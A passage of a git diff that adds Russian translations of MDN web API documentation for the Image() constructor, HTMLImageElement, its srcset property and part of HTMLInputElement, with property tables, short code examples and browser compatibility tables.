+translation_of: Web/API/HTMLImageElement/Image
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<div></div>
+
+<div>Конструктор <strong>Image()</strong> создает новый экземпляр HTMLImageElement. Эквивалентно document.createElement ('img').</div>
+
+<h3 id="Конструктор_элемента_Image">Конструктор элемента Image</h3>
+
+<p><span style="line-height: 1.572;">Имеет два необязательных параметра: <strong>ширину</strong> и <strong><span style="line-height: 1.572;"><strong>высоту</strong></span></strong>: </span></p>
+
+<pre class="brush: js">Image([unsigned long <strong>width</strong>, unsigned long <strong>height</strong>])</pre>
+
+<h3 id="Пример"><span style="line-height: 1.572;">Пример</span></h3>
+
+<h5 id="Исходный_код">Исходный код:</h5>
+
+<pre class="brush: js">var img = new Image(100, 200);
+img.src = 'picture.jpg';
+console.log(img);</pre>
+
+<h5 id="Результат">Результат:</h5>
+
+<pre class="brush: html">&lt;img width="100" height="200" src="picture.jpg"&gt;</pre>
+
+
+
+<div class="note">
+<p>Примечание: этот конструктор существует только для истории, и возвращает экземпляр <a href="/en-US/docs/Web/API/HTMLImageElement" style="line-height: 1.572;" title="en/DOM/HTMLImageElement">HTMLImageElement</a><span style="line-height: 1.572;"> точно также, как и</span><span style="line-height: 1.572;"><code> </code></span><code style="font-size: 14px;">document.createElement('img')</code><span style="line-height: 1.572;">.</span></p>
+</div>
+
+<div></div>
diff --git a/files/ru/web/api/htmlimageelement/index.html b/files/ru/web/api/htmlimageelement/index.html
new file mode 100644
index 0000000000..9aedb53ca9
--- /dev/null
+++ b/files/ru/web/api/htmlimageelement/index.html
@@ -0,0 +1,348 @@
+---
+title: HTMLImageElement
+slug: Web/API/HTMLImageElement
+translation_of: Web/API/HTMLImageElement
+---
+<div>{{ApiRef}}</div>
+
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Интерфейс <code><strong>HTMLImageElement</strong></code>  предоставляет специальные свойства и методы  (расширяя обычный интерфейс {{domxref("HTMLElement")}}  ) для управления вёрсткой и отображением элемента {{HTMLElement("img")}}. </p>
+
+<p>{{InheritanceDiagram(600,120)}} </p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Имя</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>align</code> {{obsolete_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Указывает расположение картинки зависящее от окружающего контента. Возможные значения:  <code>"left"</code>, <code>"right"</code>, <code>"justify"</code>, и <code>"center"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>alt</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Повторяет аттрибут HTML {{htmlattrxref("alt", "img")}} указывающий на запасной контекст картинки.</td>
+  </tr>
+  <tr>
+   <td><code>border</code> {{obsolete_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Ширина рамки вокруг картинки. Устарело и вместо него следует использовать свойство CSS {{cssxref("border")}}.</td>
+  </tr>
+  <tr>
+   <td><code>complete</code> {{readonlyInline}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Возвращает true, если браузер закончил загрузку картинки с ошибкой или успешно. Также возвращает true, когда не установлено значение  {{domxref("HTMLImageElement.src", "src")}}, во всех остальных случаях - false.</td>
+  </tr>
+  <tr>
+   <td><code>crossOrigin</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Является {{domxref("DOMString")}}, с настройками CORS для этого элемента изображения. Дополнительная информация: <a href="https://developer.mozilla.org/en-US/docs/HTML/CORS_settings_attributes">Атрибуты настроек CORS</a>.  </td>
+  </tr>
+  <tr>
+   <td><code>currentSrc</code>{{readonlyInline}}{{experimental_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Возвращает {{domxref("DOMString")}} с URL-адресом текущего изображения (что может измениться, например, в ответ на запросы мультимедиа).</td>
+  </tr>
+  <tr>
+   <td><code>height</code></td>
+   <td><code>unsigned long</code></td>
+   <td>Отражает атрибут {{htmlattrxref ("height", "img")}} HTML, указывая визуализированную высоту изображения в пикселях CSS.</td>
+  </tr>
+  <tr>
+   <td><code>hspace</code> {{obsolete_inline}}</td>
+   <td><code>long</code></td>
+   <td>Space to the left and right of the image.</td>
+  </tr>
+  <tr>
+   <td><code>isMap</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Reflects the {{htmlattrxref("ismap", "img")}} HTML attribute, indicating that the image is part of a server-side image map.</td>
+  </tr>
+  <tr>
+   <td><code>longDesc</code> {{obsolete_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>URI of a long description of the image.</td>
+  </tr>
+  <tr>
+   <td><code>lowSrc</code> {{obsolete_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>A reference to a low-quality (but faster to load) copy of the image.</td>
+  </tr>
+  <tr>
+   <td><code>name</code> {{obsolete_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>naturalHeight</code> {{readonlyInline}}</td>
+   <td><code>unsigned long</code></td>
+   <td>Intrinsic height of the image in CSS pixels, if it is available; otherwise, <code>0</code>.</td>
+  </tr>
+  <tr>
+   <td><code>naturalWidth</code> {{readonlyInline}}</td>
+   <td><code>unsigned long</code></td>
+   <td>Intrinsic width of the image in CSS pixels, if it is available; otherwise, <code>0</code>.</td>
+  </tr>
+  <tr>
+   <td><code>src</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{htmlattrxref("src")}} HTML attribute, containing the URL of the image.</td>
+  </tr>
+  <tr>
+   <td><code>srcset</code> {{experimental_inline}}</td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>useMap</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{htmlattrxref("usemap", "img")}} HTML attribute, containing a partial URL of a map element.</td>
+  </tr>
+  <tr>
+   <td><code>vspace</code> {{obsolete_inline}}</td>
+   <td><code>long</code></td>
+   <td>Space above and below the image.</td>
+  </tr>
+  <tr>
+   <td><code>width</code></td>
+   <td><code>unsigned long</code></td>
+   <td>Reflects the {{htmlattrxref("width", "img")}} HTML attribute, indicating the rendered width of the image in CSS pixels.</td>
+  </tr>
+  <tr>
+   <td><code>x</code> {{readonlyInline}}{{non-standard_inline}}</td>
+   <td><code>long</code></td>
+   <td>The horizontal offset from the nearest layer. (Mimic an old Netscape 4 behavior)</td>
+  </tr>
+  <tr>
+   <td><code>y</code> {{readonlyInline}}{{non-standard_inline}}</td>
+   <td><code>long</code></td>
+   <td>The vertical offset from the nearest layer. (Mimic an old Netscape 4 behavior)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследует методы родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLImageElement.Image()")}}</dt>
+ <dd>The <code>Image()</code> constructor, taking two optional <code>unsigned</code> <code>long</code>, the width and the height of the resource, creates an instance of <code>HTMLImageElement</code> not inserted in a DOM tree.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var img1 = new Image(); // Конструктор HTML5
+img1.src = 'image1.png';
+img1.alt = 'alt';
+document.body.appendChild(img1);
+
+var img2 = document.createElement('img'); // Используем <a href="http://mxr.mozilla.org/mozilla-central/source/dom/interfaces/html/nsIDOMHTMLImageElement.idl" title="http://mxr.mozilla.org/mozilla-central/source/dom/interfaces/html/nsIDOMHTMLImageElement.idl">HTMLImageElement</a>
+img2.src = 'image2.jpg';
+img2.alt = 'alt text';
+document.body.appendChild(img2);
+
+// выбираем первое изображение на странице
+alert(document.images[0].src);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>The following property has been added: <code>srcset</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>A constructor (with 2 optional parameters) has been added.<br>
+    The following properties are now obsolete: <code>name</code>, <code>border</code>, <code>align</code>, <code>hspace</code>, <code>vspace</code>, and <code>longdesc</code>.<br>
+    The following properties are now <code>unsigned long</code>, instead of <code>long</code>: <code>height</code>, and <code>width</code>.<br>
+    The following properties have been added: <code>crossorigin</code>, <code>naturalWidth</code>, <code>naturalHeight</code>, and <code>complete</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-17701901', 'HTMLImgElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>The <code>lowSrc</code> property has been removed.<br>
+    The following properties are now <code>long</code>, instead of <code>DOMString</code>: <code>height</code>, <code>width</code>, <code>hspace</code>, and <code>vspace</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-17701901', 'HTMLImgElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Общая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>lowSrc</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>naturalWidth</code>, <code>naturalHeight</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>crossorigin</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>complete</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>srcset</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>x</code> and <code>y</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Общая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>lowSrc</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>naturalWidth</code>, <code>naturalHeight</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>crossorigin</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>complete</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>srcset</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>x</code> and <code>y</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The <code>x</code> and <code>y</code> properties were removed in Gecko 7.0 {{geckoRelease("7.0")}} but restored in Gecko 14.0 {{geckoRelease("14.0")}} for compatibility reasons.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Элемент HTML, реализующий этот интерфейс: {{HTMLElement("img")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlimageelement/srcset/index.html b/files/ru/web/api/htmlimageelement/srcset/index.html
new file mode 100644
index 0000000000..b4a817c4d3
--- /dev/null
+++ b/files/ru/web/api/htmlimageelement/srcset/index.html
@@ -0,0 +1,126 @@
+---
+title: HTMLImageElement.srcset
+slug: Web/API/HTMLImageElement/srcset
+translation_of: Web/API/HTMLImageElement/srcset
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><span class="seoSummary">{{domxref("HTMLImageElement")}} свойство <code><strong>srcset</strong></code> </span>это строка, которая определяет один или несколько<span class="seoSummary"> <strong>строк с источниками изображений</strong>, разделённые запятыми (<code>,</code>) и условия для их использования.</span> Каждая строка предлагаемого изображения содержит <strong>URL</strong> картинки и опциональные <strong>ширину</strong> или <strong>пиксельную плотность</strong> которые указывают при каких условия это изображение должно быть использовано вместо основной картинки обозначенной свойством {{domxref("HTMLImageElement.src", "src")}}.</p>
+
+<p>Свойство <code>srcset</code>, вместе с {{domxref("HTMLImageElement.sizes", "sizes")}}, критически важный атрибут при разработке адаптивных веб-сайтов, ведь они могут использоваться вместе для создания адаптивных страниц, использующих подходящие изображения при определённых условиях.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>htmlImageElement</em>.srcset = <em>imageCandidateStrings</em>;
+let <em>srcset</em> = <em>htmlImageElement</em>.srcset;
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>A {{domxref("USVString")}} containing a comma-separated list of one or more image candidate strings to be used when determining which image resource to present inside the {{HTMLElement("img")}} element represented by the <code>HTMLImageElement</code><em>.</em></p>
+
+<p>Each image candidate string must begin with a valid URL referencing a non-interactive graphic resource. This is followed by a comma (<code>,</code>) character and then a condition descriptor that indicates the circumstances in which the indicated image should be used. Space characters, other than the whitespace separating the URL and the corresponding condition descriptor, are ignored; this includes both leading and trailing space, as well as space before or after each comma.</p>
+
+<p>If the condition descriptor is not provided (in other words, the image candidate provides only a URL), the candidate is used as the fallback if none of the other candidates match. Otherwise, the condition descriptor may take one of two forms:</p>
+
+<ul>
+ <li>To indicate that the image resource specified by the image candidate string should be used when the image is being rendered with a particular width in pixels, provide a <strong>width descriptor</strong> comprised the number giving that width in pixels followed by the lower case letter "w". For example, to provide an image resource to be used when the renderer needs a 450 pixel wide image, use the width descriptor string <code>450w</code>. The specified width must be a positive, non-zero, integer, and <em>must</em> match the intrinsic width of the referenced image.</li>
+ <li>Alternatively, you can use a <strong>pixel density descriptor</strong>, which specifies the condition in which th corresponding image resource should be used as the display's pixel density. This is written by stating the pixel density as a positive, non-zero floating-point value followed by the lower-case letter "x". As an example, to state that the corresponding  image should be used when the pixel density is double the standard density, you can give the pixel density descriptor <code>2x</code> or <code>2.0x</code>.</li>
+</ul>
+
+<p>You may mix and match the two types of descriptor. You must not, however, provide multiple image candidate strings that specify the same descriptor. All of the following are valid image candidate strings:</p>
+
+<pre>"images/team-photo.jpg 1x, images/team-photo-retina.jpg 2x, images/team-photo-full 2048w"</pre>
+
+<p>This string provides versions of an image to be used at the standard pixel density (<code>1x</code>) as well as double that pixel density (<code>2x</code>). Also available is a version of the image for use at a width of 2048 pixels (<code>2048w</code>).</p>
+
+<pre>"header640.png 640w, header960.png 960w, header1024.png 1024w, header.png"</pre>
+
+<p>This string provides versions of a header image to use when the {{Glossary("user agent", "user agent's")}} renderer needs an image of width 640px, 960px, or 1024px. An additional, fallback image candidate is provided without any condition at all, to be used for any other width.</p>
+
+<pre>"icon32px.png 32w, icon64px.png 64w, icon-retina.png 2x icon-ultra.png 3x icon.svg"</pre>
+
+<p>Here, options are provided for an icon at widths of 32px and 64px, as well as at pixel densities of 2x and 3x. A fallback image is provided as an SVG file that should be used in all other cases. Notice that the candidates may use different image types.</p>
+
+<p>For more information on what image formats are available for use in the {{HTMLElement("img")}} element, see <a href="/en-US/docs/Web/Media/Formats/Image_types">Image file type and format guide</a>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<p>The HTML below indicates that the default image is the 200 pixel wide version of the clock image we use in several places throughout our documentation. Also specified by the <code>srcset</code> attribute is that the 200-pixel version should be used for 1x displays while the 400-pixel version should be used for 2x displays.</p>
+
+<pre class="brush: html">&lt;div class="box"&gt;
+  &lt;img src="/files/16797/clock-demo-200px.png"
+       alt="Clock"
+       srcset="/files/16864/clock-demo-200px.png 1x, /files/16797/clock-demo-400px.png 2x"&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<p>The CSS simply specifies that the image and its surrounding box should be 200 pixels square and should have a simple border around it. Also provided is the {{cssxref("word-break")}} attribute, using the <code>break-all</code> value to tell the browser to wrap the string within the width available regardless of where in the string the wrap must occur.</p>
+
+<pre class="brush: css">.box {
+  width: 200px;
+  border: 2px solid rgba(150, 150, 150, 255);
+  padding: 0.5em;
+  word-break: break-all;
+}
+
+.box img {
+  width: 200px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>The following code is run within a handler for the {{domxref("Window", "window")}}'s {{domxref("Window.load_event", "load")}} event.  It uses the image's  {{domxref("HTMLImageElement.currentSrc", "currentSrc")}} property to fetch and display the URL selected by the browser from the <code>srcset</code>.</p>
+
+<pre class="brush: js">let box = document.querySelector(".box");
+let image = box.querySelector("img");
+
+let newElem = document.createElement("p");
+newElem.innerHTML = `Image: &lt;code&gt;${image.currentSrc}&lt;/code&gt;`;
+box.appendChild(newElem);
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>In the displayed output below, the selected URL will correspond with whether your display results in selecting the 1x or the 2x version of the image. If you happen to have both standard and high density displays, try moving this window between them and reloading the page to see the results change.</p>
+
+<p>{{EmbedLiveSample("Example", 640, 320)}}</p>
+
+<p>For additional examples, see our guide to <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">responsive images</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-img-srcset', 'HTMLImageElement.srcset')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Браузерная поддержка</h2>
+
+
+
+<p>{{Compat("api.HTMLImageElement.srcset")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Images in HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/Image_types">Image file type and format guide</a></li>
+</ul>
diff --git a/files/ru/web/api/htmlinputelement/index.html b/files/ru/web/api/htmlinputelement/index.html
new file mode 100644
index 0000000000..9d0cf541ff
--- /dev/null
+++ b/files/ru/web/api/htmlinputelement/index.html
@@ -0,0 +1,633 @@
+---
+title: HTMLInputElement
+slug: Web/API/HTMLInputElement
+translation_of: Web/API/HTMLInputElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>Интерфейс <strong><code>HTMLInputElement</code></strong> <span id="result_box" lang="ru"><span class="alt-edited">предоставляет специальные свойства и методы</span></span> (расширяющие интерфейс {{domxref("HTMLElement")}} который также доступен через наследование) для управления размещением и отображением элементов input.</p>
+
+<h2 id="Properties" name="Properties">Properties</h2>
+
+<p><em>Наследует свойства своего родителя, </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Название</th>
+   <th>Тип</th>
+   <th>Описание</th>
+  </tr>
+  <tr>
+   <td><code>accept</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("accept", "input") }} HTML attribute, containing comma-separated list of file types accepted by the server when {{htmlattrxref("type","input")}} is <code>file</code>.</td>
+  </tr>
+  <tr>
+   <td><code>accessKey</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>A single character that switches input focus to the control.</td>
+  </tr>
+  <tr>
+   <td><code>align</code> {{obsolete_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Alignment of the element.</td>
+  </tr>
+  <tr>
+   <td><code>alt</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("alt", "input") }} HTML attribute, containing alternative text to use when {{htmlattrxref("type","input")}} is <code>image.</code></td>
+  </tr>
+  <tr>
+   <td><code>autocapitalize</code> {{experimental_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Defines capitalization behavior for user input. Valid values are <code>none</code>, <code>off</code>, <code>characters</code>, <code>words</code>, or <code>sentences</code>.</td>
+  </tr>
+  <tr>
+   <td><code>autocomplete</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{htmlattrxref("autocomplete", "input")}} HTML attribute, indicating whether the value of the control can be automatically completed by the browser. Ignored if the value of the {{htmlattrxref("type","input")}} attribute is <span style="font-family: courier new;">hidden</span>, <span style="font-family: courier new;">checkbox</span>, <span style="font-family: courier new;">radio</span>, <span style="font-family: courier new;">file</span>, or a button type (<span style="font-family: courier new;">button</span>, <span style="font-family: courier new;">submit</span>, <span style="font-family: courier new;">reset</span>, <span style="font-family: courier new;">image</span>). Possible values are:
+    <ul>
+     <li><span style="font-family: courier new;">off</span>: The user must explicitly enter a value into this field for every use, or the document provides its own auto-completion method; the browser does not automatically complete the entry.</li>
+     <li><span style="font-family: courier new;">on</span>: Браузер может автоматически подставить значение основываясь на том, что ранее пользователь вводил в данном в предыдущий раз</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>autofocus</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Reflects the {{ htmlattrxref("autofocus", "input") }} HTML attribute, which specifies that a form control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form element in a document can have the {{htmlattrxref("autofocus","input")}} attribute. It cannot be applied if the {{htmlattrxref("type","input")}} attribute is set to <code>hidden</code> (that is, you cannot automatically set focus to a hidden control).</td>
+  </tr>
+  <tr>
+   <td><code>checked</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>The current state of the element when {{htmlattrxref("type","input")}} is <code>checkbox</code> or <code>radio</code>.</td>
+  </tr>
+  <tr>
+   <td><code>defaultChecked</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>The default state of a radio button or checkbox as originally specified in HTML that created this object.</td>
+  </tr>
+  <tr>
+   <td><code>defaultValue</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The default value as originally specified in HTML that created this object.</td>
+  </tr>
+  <tr>
+   <td><code>dirName</code></td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>disabled</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Reflects the {{ htmlattrxref("disabled", "input") }} HTML attribute, indicating that the control is not available for interaction. The input values will not be submitted with the form. See also {{ htmlattrxref("readOnly", "input") }} </td>
+  </tr>
+  <tr>
+   <td><code>files</code> {{readonlyInline}}</td>
+   <td>{{domxref("FileList")}}</td>
+   <td>A list of selected files.</td>
+  </tr>
+  <tr>
+   <td><code>form</code> {{readonlyInline}}</td>
+   <td>{{domxref("HTMLFormElement")}}</td>
+   <td>The containing form element, if this element is in a form. If this element is not contained in a form element:
+    <ul>
+     <li>{{ HTMLVersionInline(5) }} this can be the {{ htmlattrxref("id", "form") }} attribute of any {{ HTMLElement("form") }} element in the same document. Even if the attribute is set on {{ HTMLElement("input") }}, this property will be <code>null</code>, if it isn't the id of a {{ HTMLElement("form") }} element.</li>
+     <li>{{ HTMLVersionInline(4) }} this must be <code>null</code>.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>formAction</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("formaction", "input") }} HTML attribute, containing the URI of a program that processes information submitted by the element. If specified, this attribute overrides the {{ htmlattrxref("action", "form") }} attribute of the {{ HTMLElement("form") }} element that owns this element.</td>
+  </tr>
+  <tr>
+   <td><code>formEncType</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("formenctype", "input") }} HTML attribute, containing the type of content that is used to submit the form to the server. If specified, this attribute overrides the {{ htmlattrxref("enctype", "form") }} attribute of the {{ HTMLElement("form") }} element that owns this element.</td>
+  </tr>
+  <tr>
+   <td><code>formMethod</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("formmethod", "input") }} HTML attribute, containing the HTTP method that the browser uses to submit the form. If specified, this attribute overrides the {{ htmlattrxref("method", "form") }} attribute of the {{ HTMLElement("form") }} element that owns this element.</td>
+  </tr>
+  <tr>
+   <td><code>formNoValidate</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Reflects the {{ htmlattrxref("formnovalidate", "input") }} HTML attribute, indicating that the form is not to be validated when it is submitted. If specified, this attribute overrides the {{ htmlattrxref("novalidate", "form") }} attribute of the {{ HTMLElement("form") }} element that owns this element.</td>
+  </tr>
+  <tr>
+   <td><code>formTarget</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("formtarget", "input") }} HTML attribute, containing a name or keyword indicating where to display the response that is received after submitting the form. If specified, this attribute overrides the {{ htmlattrxref("target", "form") }} attribute of the {{ HTMLElement("form") }} element that owns this element.</td>
+  </tr>
+  <tr>
+   <td><code>height</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("height", "input") }} HTML attribute, which defines the height of the image displayed for the button, if the value of {{htmlattrxref("type","input")}} is <span style="font-family: courier new;">image</span>.</td>
+  </tr>
+  <tr>
+   <td><code>indeterminate</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Indicates that a checkbox is neither on nor off.</td>
+  </tr>
+  <tr>
+   <td><code>labels</code> {{readonlyInline}}</td>
+   <td>{{domxref("NodeList")}}</td>
+   <td>A list of {{ HTMLElement("label") }} elements that are labels for this element.</td>
+  </tr>
+  <tr>
+   <td><code>list</code></td>
+   <td>{{domxref("HTMLElement")}}</td>
+   <td>Identifies a list of pre-defined options to suggest to the user. The value must be the <strong>id</strong> of a {{HTMLElement("datalist")}} element in the same document. The browser displays only options that are valid values for this input element. This attribute is ignored when the {{htmlattrxref("type","input")}} attribute's value is <span style="font-family: courier new;">hidden</span>, <span style="font-family: courier new;">checkbox</span>, <span style="font-family: courier new;">radio</span>, <span style="font-family: courier new;">file</span>, or a button type.</td>
+  </tr>
+  <tr>
+   <td><code>max</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{ htmlattrxref("max", "input") }} HTML attribute, containing the maximum (numeric or date-time) value for this item, which must not be less than its minimum (<strong>min</strong> attribute) value.</td>
+  </tr>
+  <tr>
+   <td><code>maxLength</code></td>
+   <td> <code>long</code></td>
